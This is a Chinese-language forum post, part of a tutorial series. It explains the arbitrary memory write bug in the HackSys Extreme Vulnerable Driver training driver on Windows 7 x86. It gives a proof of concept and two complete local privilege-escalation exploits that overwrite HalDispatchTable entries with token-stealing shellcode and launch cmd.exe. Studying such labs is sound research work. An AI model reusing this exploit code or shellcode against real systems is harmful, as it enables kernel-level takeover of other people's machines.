用户
搜索
  • TA的每日心情
    开心
    2021-3-14 00:31
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    安全团队

    渣男

    Rank: 7Rank: 7Rank: 7

    21

    主题

    38

    帖子

    312

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2016-5-28

    安全团队

    发表于 2021-7-5 19:39:40 0865
    Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where本文一共2704个字 17张图 预计阅读时间15分钟
    2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
    3.本篇文章是Windows Kernel Exploitation Notes系列文章的第二篇HEVD Write-What-Where
    4.本篇文章十分适合漏洞安全研究人员进行交流学习
    5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
    环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:
    • 物理机OS:Windows 10 20H2 x64
    • 物理机WinDbg:10.0.19041.685
    • 虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)
    • VMware:VMware Workstation 15 Pro
    • Visual Studio 2019

    0x01 Root Cause Analyses
    触发漏洞源码如下:
    NTSTATUS
    TriggerArbitraryWrite(
        _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
    )
    {
        PULONG_PTR What = NULL;
        PULONG_PTR Where = NULL;
        NTSTATUS Status = STATUS_SUCCESS;

        PAGED_CODE();

        __try
        {
            //
            // Verify if the buffer resides in user mode
            //

            ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));

            What = UserWriteWhatWhere->What;
            Where = UserWriteWhatWhere->Where;

            DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
            DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
            DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
            DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

    #ifdef SECURE
            //
            // Secure Note: This is secure because the developer is properly validating if address
            // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
            // ProbeForWrite() routine before performing the write operation
            //

            ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
            ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));

            *(Where) = *(What);
    #else
            DbgPrint("[+] Triggering Arbitrary Write\n");

            //
            // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
            // because the developer is writing the value pointed by 'What' to memory location
            // pointed by 'Where' without properly validating if the values pointed by 'Where'
            // and 'What' resides in User mode
            //

            *(Where) = *(What);
    #endif
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }

        //
        // There is one more hidden vulnerability. Find it out.
        //

        return Status;
    }
    对比Vulnerable版本与Secure版本可以发现,其在执行*(Where) = *(What)语句之前未通过ProbeForRead/ProbeForWrite函数校验读取及写入地址的合法性。跟进ProbeForRead函数:
    首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress其值由MiInitializeBootDefaults函数初始化):
    边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT异常:
    越界则触发STATUS_ACCESS_VIOLATION异常:
    ProbeForWrite函数在边界对齐及地址范围校验方面与ProbeForRead类似,除此之外该函数会校验地址是否可写,可读,可访问:
    编写POC如下:
    #include <stdio.h>
    #include <windows.h>

    #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
    #define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
    typedef struct _WRITE_WHAT_WHERE
    {
        PULONG_PTR What;
        PULONG_PTR Where;
    } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

    int main()
    {
        HANDLE dev = CreateFileA("\\\\.\\HackSy**tremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
        if (dev == INVALID_HANDLE_VALUE)
        {
            printf("Failed!\n");
            system("pause");
            return -1;
        }
        printf("Done! Device Handle:0x%p\n", dev);
        PWRITE_WHAT_WHERE Buffer;
        Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
        ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
        Buffer->Where=(PULONG_PTR)0x41414141;
        Buffer->What = (PULONG_PTR)0x42424242;

        DWORD size_returned = 0;
        BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
        CloseHandle(dev);
        system("pause");
        return 0;
    }
    触发漏洞:
    0x02 Exploit
    根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。
    nt!HalDispatchTable中HalQuerySystemInformation与HalSetSystemInformation是在内核初始化过程中确定的:
    二者分别可以通过NtQueryIntervalProfile与NtSetIntervalProfile函数调用:
    下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile函数定义如下:
    NTSTATUS
    NtQueryIntervalProfile (
        KPROFILE_SOURCE ProfileSource,
        ULONG *Interval);
    其中KPROFILE_SOURCE是一枚举类型:
    typedef enum _KPROFILE_SOURCE {
        ProfileTime,
        ProfileAlignmentFixup,
        ProfileTotalIssues,
        ProfilePipelineDry,
        ProfileLoadInstructions,
        ProfilePipelineFrozen,
        ProfileBranchInstructions,
        ProfileTotalNonissues,
        ProfileDcacheMisses,
        ProfileIcacheMisses,
        ProfileCacheMisses,
        ProfileBranchMispredictions,
        ProfileStoreInstructions,
        ProfileFpInstructions,
        ProfileIntegerInstructions,
        Profile2Issue,
        Profile3Issue,
        Profile4Issue,
        ProfileSpecialInstructions,
        ProfileTotalCycles,
        ProfileIcacheIssues,
        ProfileDcacheAccesses,
        ProfileMemoryBarrierCycles,
        ProfileLoadLinkedIssues,
        ProfileMaximum
    } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
    NtQueryIntervalProfile首先校验_KTHREAD中PreviousMode(Offset 0x13A)字段值(关于_KPCR,_KPRCB,_KTHREAD上一篇有介绍):
    其次判断参数Interval指向地址是否超过MmUserProbeAddress:
    最后判断ProfileSource是否为零,非零值则调用KeQueryIntervalProfile:
    KeQueryIntervalProfile会判断ProfileSource是否为1,不为1才会继续调用nt!HalDispatchTable+0x4
    如此,笔者构造Exploit中对该函数调用如下:
    PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
        if (!NtQueryIntervalProfile) {
            cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
            cout << "[!] Last error " << GetLastError() << endl;
            exit(1);
        }
        NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);     //SC——>Shellcode Address
    对nt!HalDispatchTable+0x4函数调用不止KeQueryIntervalProfile一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation函数地址相差0x912来进行恢复:
    INT32 KrBase = GetKernelBaseAddress();
        INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
        INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
        INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x14
        CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
        ZeroMemory(SC, 0x60);
        __asm {
            pushad;
            mov eax, HalSetSystemInformation_Address;
            mov ebx, HalQuerySystemInformation_Address;
            mov edi, SC;
            mov[edi], 0x60;
            mov dword ptr[edi + 0x1], 0x000000E8;
            mov dword ptr[edi + 0x5], 0x588B5800;
            mov dword ptr[edi + 0x9], 0x4F488B4B;
            mov dword ptr[edi + 0xD], 0xEA81138B;
            mov dword ptr[edi + 0x11], 0x00000912;
            mov dword ptr[edi + 0x15], 0x90901189;
            mov dword ptr[edi + 0x19], 0x8B64C031;
            mov dword ptr[edi + 0x1D], 0x00012480;
            mov dword ptr[edi + 0x21], 0x50408B00;
            mov dword ptr[edi + 0x25], 0x04BAC189;
            mov dword ptr[edi + 0x29], 0x8B000000;
            mov dword ptr[edi + 0x2D], 0x0000B880;
            mov dword ptr[edi + 0x31], 0x00B82D00;
            mov dword ptr[edi + 0x35], 0x90390000;
            mov dword ptr[edi + 0x39], 0x000000B4;
            mov dword ptr[edi + 0x3D], 0x908BED75;
            mov dword ptr[edi + 0x41], 0x000000F8;
            mov dword ptr[edi + 0x45], 0x00F89189;
            mov dword ptr[edi + 0x49], 0x31610000;
            mov dword ptr[edi + 0x4D], 0x0000C3C0;
            mov dword ptr[edi + 0x51], eax;
            mov dword ptr[edi + 0x55], ebx;
            popad;
        }
    Shellcode如下:
    NtSetIntervalProfile函数定义如下:
    NTSTATUS
    NtSetIntervalProfile (
        ULONG Interval,
        KPROFILE_SOURCE ProfileSource);
    其对参数判断位于KeSetIntervalProfile函数内,首先校验nt!PerfGlobalGroupMask+0x4:
    其次判断ProfileSource是否为0及是否为1:
    上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:
    //HalSetSystemInformation
    #include <iostream>
    #include <string.h>
    #include <Windows.h>

    using namespace std;

    #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
    #define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)

    typedef struct SYSTEM_MODULE {
        ULONG                Reserved1;
        ULONG                Reserved2;
        PVOID                ImageBaseAddress;
        ULONG                ImageSize;
        ULONG                Flags;
        WORD                 Id;
        WORD                 Rank;
        WORD                 LoadCount;
        WORD                 NameOffset;
        CHAR                 Name[256];
    }SYSTEM_MODULE, * PSYSTEM_MODULE;

    typedef struct SYSTEM_MODULE_INFORMATION{
        ULONG                ModulesCount;
        SYSTEM_MODULE        Modules[1];
    } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

    typedef enum _SYSTEM_INFORMATION_CLASS{
        SystemModuleInformation = 0xB
    } SYSTEM_INFORMATION_CLASS;

    typedef struct _WRITE_WHAT_WHERE
    {
        PULONG_PTR What;
        PULONG_PTR Where;
    } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

    typedef enum _KPROFILE_SOURCE {
        ProfileTime,
        ProfileAlignmentFixup,
        ProfileTotalIssues,
        ProfilePipelineDry,
        ProfileLoadInstructions,
        ProfilePipelineFrozen,
        ProfileBranchInstructions,
        ProfileTotalNonissues,
        ProfileDcacheMisses,
        ProfileIcacheMisses,
        ProfileCacheMisses,
        ProfileBranchMispredictions,
        ProfileStoreInstructions,
        ProfileFpInstructions,
        ProfileIntegerInstructions,
        Profile2Issue,
        Profile3Issue,
        Profile4Issue,
        ProfileSpecialInstructions,
        ProfileTotalCycles,
        ProfileIcacheIssues,
        ProfileDcacheAccesses,
        ProfileMemoryBarrierCycles,
        ProfileLoadLinkedIssues,
        ProfileMaximum
    } KPROFILE_SOURCE, * PKPROFILE_SOURCE;

    typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
        __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
        __inout PVOID SystemInformation,
        __in ULONG SystemInformationLength,
        __out_opt PULONG ReturnLength
        );

    typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
        __in KPROFILE_SOURCE ProfileSource,
        __in ULONG* Interval);

    typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
        __in ULONG* Interval,
        __in KPROFILE_SOURCE ProfileSource);

    INT32 GetKernelBaseAddress(){

        //Get NtQuerySystemInformation Address
        PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");

        if (!NtQuerySystemInformation){
            cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
            cout << "[!] Last Error:" << GetLastError() << endl;
            exit(1);
        }

        ULONG len = 0;

        //Get Buffer Length
        NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);

        //Allocate Memory
        PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);

        //Get SYSTEM_MODULE_INFORMATION
        NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);

        if (Status != (NTSTATUS)0x0){
            cout << "[!] NtQuerySystemInformation Failed!" << endl;
            exit(1);
        }

        PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;

        cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;

        return (INT32)KernelImageBase;
    }

    int main() {

        HANDLE hFile = CreateFileA("\\\\.\\HackSy**tremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            cout << "[!] No Handle to HackSy**tremeVulnerableDriver" << endl;
            exit(1);
        }

        cout << "[>] Handle to HackSy**tremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;

        INT32 KrBase = GetKernelBaseAddress();
        INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
        INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
        INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912
        CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
        ZeroMemory(SC, 0x60);
        __asm {
            pushad;
            mov ebx, HalSetSystemInformation_Address;
            mov eax, HalQuerySystemInformation_Address;
            mov edi, SC;
            mov[edi], 0x60;
            mov dword ptr[edi + 0x1], 0x000000E8;
            mov dword ptr[edi + 0x5], 0x588B5800;
            mov dword ptr[edi + 0x9], 0x4F488B4B;
            mov dword ptr[edi + 0xD], 0xC281138B;
            mov dword ptr[edi + 0x11], 0x00000912;
            mov dword ptr[edi + 0x15], 0x90901189;
            mov dword ptr[edi + 0x19], 0x8B64C031;
            mov dword ptr[edi + 0x1D], 0x00012480;
            mov dword ptr[edi + 0x21], 0x50408B00;
            mov dword ptr[edi + 0x25], 0x04BAC189;
            mov dword ptr[edi + 0x29], 0x8B000000;
            mov dword ptr[edi + 0x2D], 0x0000B880;
            mov dword ptr[edi + 0x31], 0x00B82D00;
            mov dword ptr[edi + 0x35], 0x90390000;
            mov dword ptr[edi + 0x39], 0x000000B4;
            mov dword ptr[edi + 0x3D], 0x908BED75;
            mov dword ptr[edi + 0x41], 0x000000F8;
            mov dword ptr[edi + 0x45], 0x00F89189;
            mov dword ptr[edi + 0x49], 0x31610000;
            mov dword ptr[edi + 0x4D], 0x0000C3C0;
            mov dword ptr[edi + 0x51], eax;
            mov dword ptr[edi + 0x55], ebx;
            popad;
        }
        PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
        PWRITE_WHAT_WHERE Buffer;
        Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
        ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
        Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address;
        Buffer->What = (PULONG_PTR)PShellcode;
        DWORD size_returned = 0;
        BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
        PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile");
        if (!NtSetIntervalProfile) {
            cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl;
            cout << "[!] Last error " << GetLastError() << endl;
            exit(1);
        }
        NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues);

        PROCESS_INFORMATION ProcessInformation;
        ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
        STARTUPINFOA StartupInfo;
        ZeroMemory(&StartupInfo, sizeof(StartupInfo));
        CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);

        VirtualFree(SC, 0, MEM_RELEASE);
    }

    //HalQuerySystemInformation
    #include <iostream>
    #include <string.h>
    #include <Windows.h>

    using namespace std;

    #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
    #define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)

    typedef struct SYSTEM_MODULE {
        ULONG                Reserved1;
        ULONG                Reserved2;
        PVOID                ImageBaseAddress;
        ULONG                ImageSize;
        ULONG                Flags;
        WORD                 Id;
        WORD                 Rank;
        WORD                 LoadCount;
        WORD                 NameOffset;
        CHAR                 Name[256];
    }SYSTEM_MODULE, * PSYSTEM_MODULE;

    typedef struct SYSTEM_MODULE_INFORMATION{
        ULONG                ModulesCount;
        SYSTEM_MODULE        Modules[1];
    } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

    typedef enum _SYSTEM_INFORMATION_CLASS{
        SystemModuleInformation = 0xB
    } SYSTEM_INFORMATION_CLASS;

    typedef struct _WRITE_WHAT_WHERE
    {
        PULONG_PTR What;
        PULONG_PTR Where;
    } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

    typedef enum _KPROFILE_SOURCE {
        ProfileTime,
        ProfileAlignmentFixup,
        ProfileTotalIssues,
        ProfilePipelineDry,
        ProfileLoadInstructions,
        ProfilePipelineFrozen,
        ProfileBranchInstructions,
        ProfileTotalNonissues,
        ProfileDcacheMisses,
        ProfileIcacheMisses,
        ProfileCacheMisses,
        ProfileBranchMispredictions,
        ProfileStoreInstructions,
        ProfileFpInstructions,
        ProfileIntegerInstructions,
        Profile2Issue,
        Profile3Issue,
        Profile4Issue,
        ProfileSpecialInstructions,
        ProfileTotalCycles,
        ProfileIcacheIssues,
        ProfileDcacheAccesses,
        ProfileMemoryBarrierCycles,
        ProfileLoadLinkedIssues,
        ProfileMaximum
    } KPROFILE_SOURCE, * PKPROFILE_SOURCE;

    typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
        __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
        __inout PVOID SystemInformation,
        __in ULONG SystemInformationLength,
        __out_opt PULONG ReturnLength
        );

    typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
        __in KPROFILE_SOURCE ProfileSource,
        __in ULONG* Interval);

    typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
        __in ULONG* Interval,
        __in KPROFILE_SOURCE ProfileSource);

    INT32 GetKernelBaseAddress(){

        //Get NtQuerySystemInformation Address
        PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");

        if (!NtQuerySystemInformation){
            cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
            cout << "[!] Last Error:" << GetLastError() << endl;
            exit(1);
        }

        ULONG len = 0;

        //Get Buffer Length
        NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);

        //Allocate Memory
        PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);

        //Get SYSTEM_MODULE_INFORMATION
        NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);

        if (Status != (NTSTATUS)0x0){
            cout << "[!] NtQuerySystemInformation Failed!" << endl;
            exit(1);
        }

        PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;

        cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;

        return (INT32)KernelImageBase;
    }

    int main() {

        HANDLE hFile = CreateFileA("\\\\.\\HackSy**tremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            cout << "[!] No Handle to HackSy**tremeVulnerableDriver" << endl;
            exit(1);
        }

        cout << "[>] Handle to HackSy**tremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;

        INT32 KrBase = GetKernelBaseAddress();
        INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
        INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
        INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912
        CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
        ZeroMemory(SC, 0x60);
        __asm {
            pushad;
            mov eax, HalSetSystemInformation_Address;
            mov ebx, HalQuerySystemInformation_Address;
            mov edi, SC;
            mov[edi], 0x60;
            mov dword ptr[edi + 0x1], 0x000000E8;
            mov dword ptr[edi + 0x5], 0x588B5800;
            mov dword ptr[edi + 0x9], 0x4F488B4B;
            mov dword ptr[edi + 0xD], 0xEA81138B;
            mov dword ptr[edi + 0x11], 0x00000912;
            mov dword ptr[edi + 0x15], 0x90901189;
            mov dword ptr[edi + 0x19], 0x8B64C031;
            mov dword ptr[edi + 0x1D], 0x00012480;
            mov dword ptr[edi + 0x21], 0x50408B00;
            mov dword ptr[edi + 0x25], 0x04BAC189;
            mov dword ptr[edi + 0x29], 0x8B000000;
            mov dword ptr[edi + 0x2D], 0x0000B880;
            mov dword ptr[edi + 0x31], 0x00B82D00;
            mov dword ptr[edi + 0x35], 0x90390000;
            mov dword ptr[edi + 0x39], 0x000000B4;
            mov dword ptr[edi + 0x3D], 0x908BED75;
            mov dword ptr[edi + 0x41], 0x000000F8;
            mov dword ptr[edi + 0x45], 0x00F89189;
            mov dword ptr[edi + 0x49], 0x31610000;
            mov dword ptr[edi + 0x4D], 0x0000C3C0;
            mov dword ptr[edi + 0x51], eax;
            mov dword ptr[edi + 0x55], ebx;
            popad;
        }
        PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
        PWRITE_WHAT_WHERE Buffer;
        Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
        ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
        Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address;
        Buffer->What = (PULONG_PTR)PShellcode;
        DWORD size_returned = 0;
        BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);

        PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
        if (!NtQueryIntervalProfile) {
            cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
            cout << "[!] Last error " << GetLastError() << endl;
            exit(1);
        }
        NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);

        PROCESS_INFORMATION ProcessInformation;
        ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
        STARTUPINFOA StartupInfo;
        ZeroMemory(&StartupInfo, sizeof(StartupInfo));
        CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);

        VirtualFree(SC, 0, MEM_RELEASE);
    }
    效果如下:
    0x03 参阅链接
    Gcow安全团队/APT捕获分析/样本分析/渗透测试/代码审计/官网:www.gcowsec.com/公众号:Gcow安全团队
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册